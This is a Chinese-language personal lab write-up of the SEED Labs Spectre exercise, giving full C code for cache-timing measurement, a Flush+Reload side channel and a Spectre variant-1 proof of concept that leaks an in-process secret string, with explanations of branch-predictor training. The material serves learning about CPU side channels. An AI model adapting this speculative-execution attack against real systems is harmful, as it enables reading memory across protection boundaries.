---
# System prepended metadata

title: Spectre Lab
tags: [exploitation]

---

# Spectre Lab
###### tags: `exploitation`
之前聽到 spectre 的漏洞時就想自己做做看，但是當時知道原理卻不知道到底如何實作，所以一直無法執行，去年找到一個[網站](https://seedsecuritylabs.org/Labs_16.04/System/Spectre_Attack/)提供一個 vm 和數個程式可以操作，決定研究一下具體如何實踐。

※ 以下的程式碼編譯指令： `gcc -g <filename.c> -o <filename> -msse2`

## Cache Time 

這個單純說明有無 cache 在 cpu 執行週期的差別：

```c=
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;
  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;
  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);   junk = *addr;
    time2 = __rdtscp(&junk) - time1;  
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0; 
}
```

重點介紹幾個地方：

1. `register uint64_t time1, time2;` (line 11)
  register keyword 會提醒 compiler 以下的 variable 可以放置在 register 就好，不用塞到 stack 上，但是最終還是由 compiler 決定到底是放在 register 還是 stack 上。
  
2. `volatile uint8_t * addr;`
  volatile keyword 提醒 compiler 不要因為最佳化而把該變數用 register 存取
  
3. `_mm_clflush(const void *p)`
  根據 intel 的這個[網站](https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_clflush&expand=678,678&techs=SSE2)，敘述是否定現今存在於 cache 的 p 並且清除所有等級的 cache (L1 ~ L3 ?)
  
4. `__rdtscp(&junk);`
  這是組語指令，在開銷不大的情況下用來計算 cpu cycle ，通常前面和結尾還需要加上 `cpuid` 這條指令以防止 out-of-order 的出現(不過效能會掉很多，尤其是開在虛擬機裡面的時候)， rdtscp 會保證之前的 instruction 都已經完成再執行。
  
綜合以上，簡單講就是先 flush 掉跟 `array[i*4096]` 相關的 cahce 然後再對 `array[3*4096]` 和 `array[7*4096]` 進行賦值，這樣 cache 就會存放這兩個地址相關的 cache (依據時間和空間相關性)，最後訪問 `array[i*4096], 0 <= i < 10` ，然後用 `rdtscp` 比對 cycle

![](https://i.imgur.com/B68l60q.png)


## FlushReload

```c=
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[256*4096];
int temp;
char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void victim()
{
  temp = array[secret*4096 + DELTA];
}
void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){
	printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
   }
  } 
}

int main(int argc, const char **argv)
{
  flushSideChannel();
  victim();
  reloadSideChannel();
  return (0);
}

```

Reload flush 比較複雜一點，但還是一個一個慢慢看：

1. `#define CACHE_HIT_THRESHOLD (80)`
  這個根據下面的 code 應該是用來比對資料是否存在於 cache 的基準，也就是說超過 80 cycle 的就不算在 cache 內
  
:::info
不過我不確定這標準從何而來就是了...
:::
  
2. `char secret = 94;`
  secret 是拿來當作找尋的目標，若 `array[i * 4096 + DELTA]` 在 80 cycle 以內就找到的話，那代表 i 就是在 victim() 內放入 cache 的 secret 。
```c=
void victim()
{
  temp = array[secret*4096 + DELTA];
}
```
  
綜合以上，可以看成：

1. 先賦值再 flush 掉 cache
2. 在 victim() 內將 `array[secret * 4096 + DELTA]` 的值放入 cache 
3. reloadSideChannel() 去訪問 `array[i * 4096 + DELTA]` 後比對花費 cycle ，若有時間小於 80 cycle 勢必之前存在於 cache 內，那在 cache 被 flush 過的情況下也就只有 secret 這個 index 有在 victim() 被 access ，所以 cycle 特別小

:::info
這個實驗不是每次都成功，不知道哪些 process 還是什麼的會把 cache 洗掉 = =
:::

![](https://i.imgur.com/ofe6Ckp.png)


## Spectre Attack 

這邊又比上一個更難...，花了點時間終於弄懂

```c=
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
uint8_t temp = 0;
char *secret = "Some Secret Value";   
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  } 
}

void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
	printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
    }
  } 
}
void spectreAttack(size_t larger_x)
{
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { 
   _mm_clflush(&buffer_size);
   restrictedAccess(i); 
  }
  // Flush buffer_size and array[] from the cache.
  _mm_clflush(&buffer_size);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++) { }
  // Ask restrictedAccess() to return the secret in out-of-order execution. 
  s = restrictedAccess(larger_x);  
  array[s*4096 + DELTA] += 88;  
}

int main() {
  flushSideChannel();
  size_t larger_x = (size_t)(secret - (char*)buffer);  
  spectreAttack(larger_x);
  reloadSideChannel();
  return (0);
}
```

一樣快速講重點：

1. `uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; `
  視為可以合法存取的範圍
  
2. `char *secret = "Some Secret Value";`
  不能存取的範圍，但是透過 Spectre Attack 可以讀到裡面的內容
  
3. `uint8_t array[256*4096];`
  用來 side channel attack 的陣列
  
4. 
```c=
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  } 
}
```
  這個 function 主要是用來將 branch predicter 會因為之前的結果而先選擇某一條分支，並將結果存在 cache 內，等等會看到具體用法
  
5.
```c=
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { 
   _mm_clflush(&buffer_size);
   restrictedAccess(i); 
  }
```
根據註解，這是用來「訓練」 CPU 的 branch predictor 讓其判斷說該 function 大多數的結果都是 `return buffer[x];` 而先執行，等出錯再 roll back

6.
```c=
  for (z = 0; z < 100; z++) { }
  // Ask restrictedAccess() to return the secret in out-of-order execution. 
  s = restrictedAccess(larger_x);  
  array[s*4096 + DELTA] += 88;  
```
將 secret 到 buffer 的偏移當作參數傳輸給 restrictedAccess() ，因為之前訓練的關係， branch predictor 會優先選擇 `return buffer[x] ` 並透過 `array[buffer[x]*4096 + DELTA]` 將其值存於 cache 中，之後 rollback 後會修正回傳 `array[0*4096 + DELTA]` 但 `array[buffer[x]*4096 + DELTA]` 依然存在於 cache 中。

有了上面的解釋就清楚了：

1. flush 掉 cache 避免失真
2. 計算出 secret buffer 到 buffer 的 offset
3. 進入 Spectre Attack 範疇
    1. 用 restrictedAccess 訓練 branch predictor 讓其偏向 ` return buffer[x]`
    2. 將 offset 丟到 restrictedAccess 中， branch predicotr 因為之前的結果會先 `return buffer[x]` 
    3. 用得到的結果去訪問相關地址
    4. CPU 發現執行錯了， rollback 並修正，但是 cache 沒有洗掉
5. 計算訪問 `array[i*4096 + DELTA]` 的時間，看哪個 cycle 小於 80 ，則判斷說該地址的值之前存在於 cache 中

不過上述的 code 感覺穩定性不是很高...，要試不少次才成功：

![](https://i.imgur.com/RrNNNjz.png)

要找下一個還要加 1 然後繼續刷...

